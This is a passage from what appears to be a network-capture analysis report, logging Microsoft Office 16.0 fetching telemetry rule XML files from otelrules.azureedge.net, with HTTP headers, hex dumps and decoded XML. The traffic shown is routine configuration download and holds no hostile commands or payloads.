0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.9	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:14 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:14 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: dfb96d6a-f01e-003f-17e5-16d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185214Z-1657d5bbd48xlwdx82gahegw4000000005pg000000001kv3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:14 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.9	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:14 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:14 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 0607cd43-401e-0078-1b00-174d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185214Z-1657d5bbd48762wn1qw4s5sd300000000540000000014ek7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:14 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.9	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:15 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:15 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:15 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: a5ff6bd9-301e-005d-3af2-16e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185215Z-1657d5bbd48762wn1qw4s5sd30000000053g000000016cb7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:15 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.9	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:15 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:15 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 0c165d1d-a01e-000d-7dfe-16d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185215Z-1657d5bbd48lknvp09v995n790000000052g000000006q9z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:15 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.9	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:15 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:15 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: c2f609cb-201e-0003-75fd-16f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185215Z-1657d5bbd48xlwdx82gahegw4000000005hg00000000pma1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:15 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.9	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:15 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:15 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:15 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: d055c0e0-501e-0035-1b4f-19c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185215Z-1657d5bbd48t66tjar5xuq22r800000005c000000000daqx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:15 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.9	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:15 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:15 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:15 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 960edd56-701e-005c-4100-17bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185215Z-1657d5bbd48762wn1qw4s5sd30000000053g000000016cb9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:15 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.9	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:16 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:16 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:16 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: b738acd5-401e-0067-1502-1709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185216Z-1657d5bbd48sqtlf1huhzuwq70000000051000000000w6q2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:16 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.9	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:16 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:16 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:16 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: 7b844039-401e-00a3-26ed-188b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185216Z-1657d5bbd48vlsxxpe15ac3q7n00000005c000000000eu7f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:16 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.9	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:16 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:16 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:16 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 8a5fd43d-c01e-0066-4506-17a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185216Z-1657d5bbd48dfrdj7px744zp8s0000000560000000007ues x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:16 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.9	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:16 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:16 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:16 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 0480ed94-801e-00ac-5102-17fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185216Z-1657d5bbd48wd55zet5pcra0cg0000000570000000014edw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:16 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.9	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:16 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:16 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:16 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: b72ef555-401e-0067-78fe-1609c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185216Z-1657d5bbd48lknvp09v995n790000000051g00000000ay18 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
